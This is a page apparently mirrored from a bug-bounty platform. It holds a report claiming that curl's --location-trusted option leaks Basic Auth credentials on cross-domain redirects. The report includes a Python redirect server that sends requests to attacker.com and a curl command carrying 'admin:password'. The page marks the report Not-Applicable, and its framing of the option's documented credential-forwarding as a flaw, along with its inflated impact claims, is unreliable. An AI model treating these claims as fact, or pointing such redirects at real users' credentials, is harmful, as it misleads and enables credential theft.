Loading HuntDB...

Authorization Header Leak via --location-trusted in Curl

High
C
curl
Submitted None
Reported by voggerloops

Vulnerability Details

Technical details and impact analysis

Information Exposure Through Sent Data
Curl's --location-trusted Option Leaks Authorization Header Across Domains The `--location-trusted` option in Curl forwards the Authorization header when following cross-origin redirects, exposing Basic Authentication credentials to untrusted hosts. - If an attacker controls a redirecting endpoint, they can steal credentials from any requests using Basic Auth. - Unlike `--location`, which strips authentication headers for security, `--location-trusted` forwards them without warning, leading to unintended credential leakage. This violates authentication best practices and introduces a serious security risk --- Affected Versions Run: curl -V **Example Output:** curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.10 zlib/1.3.1 Release-Date: 2024-01-15 **Tested on:** - Linux (Ubuntu 22.04) - macOS 14 Sonoma - Windows 11 (WSL2) --- ** Steps to Reproduce** **Start a Malicious Redirect Server** Run this Python script on an attacker-controlled machine: python from http.server import BaseHTTPRequestHandler, HTTPServer class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://attacker.com") self.end_headers() server = HTTPServer(("0.0.0.0", 8080), RedirectHandler) server.serve_forever() ``` Run Curl with Authentication & --location-trusted Execute: curl -v -L --user "admin:password" --location-trusted http://localhost:8080 ` --- Expected Behavior - Curl should strip the Authorization header when redirecting to a different domain. Actual Behavior - Curl forwards the Authorization header to `attacker.com`, exposing credentials. --- Supporting Material / References Curl Debug Log (`-v --trace curl_trace.txt`) – Shows leaked Authorization header Packet Capture (`tcpdump`/Wireshark)– Confirms credentials are sent cross-origin PoC Python Code (`redirect_poc.py`) – Reproduces the vulnerability locally --- Impact: What an Attacker Can Achieve Credential Exposure: - Any Basic Authentication credentials (API keys, admin passwords, cloud service tokens) are leaked if an attacker controls the redirect. Privilege Escalation: - Attackers can gain unauthorized access to admin interfaces, APIs, or cloud services, leading to full system compromise DevOps & CI/CD Pipeline Risk: - Automation scripts & DevOps pipelines using `curl` may unknowingly expose credentials to untrusted redirect targets --- Suggested Fix Immediate Workaround for Affected Users Avoid`--location-trusted` when authentication is involved Manually follow redirects by parsing `curl -i` output Use API tokens instead of Basic Auth where possible Permanent Fix for Curl Developers Automatically strip Authorization headers for cross-origin redirect Update documentation to warn users about risks of `--location-trusted` Display security warnings before forwarding authentication credentials --- Final Thoughts This vulnerability exposes sensitive credentials to untrusted third parties, which can lead to **credential theft, account takeovers, and security breaches Fixing this issue will help protect automation scripts, CI/CD pipelines, and security-conscious developers from unintentionally leaking credentials. ## Impact The location-trusted option in Curl forwards the Authorization header when following cross-origin redirects, exposing Basic Authentication credentials to untrusted hosts. This behavior creates a security risk where an attacker controlling a redirecting endpoint can steal credentials from any request using Basic Auth. Unlike --location, which strips authentication headers for security reasons, --location-trusted forwards them without warning, leading to unintended credential leakage. This issue violates authentication best practices and could lead to credential theft, privilege escalation, and security breaches, particularly affecting DevOps pipelines, automation scripts, and CI/CD environments that rely on Curl. The recommended fix is to automatically strip Authorization headers for cross-origin redirects, warn users about the risks of --location-trusted, and update documentation to reflect this issue.

Report Details

Additional information and metadata

State

Closed

Substate

Not-Applicable

Submitted

Weakness

Information Exposure Through Sent Data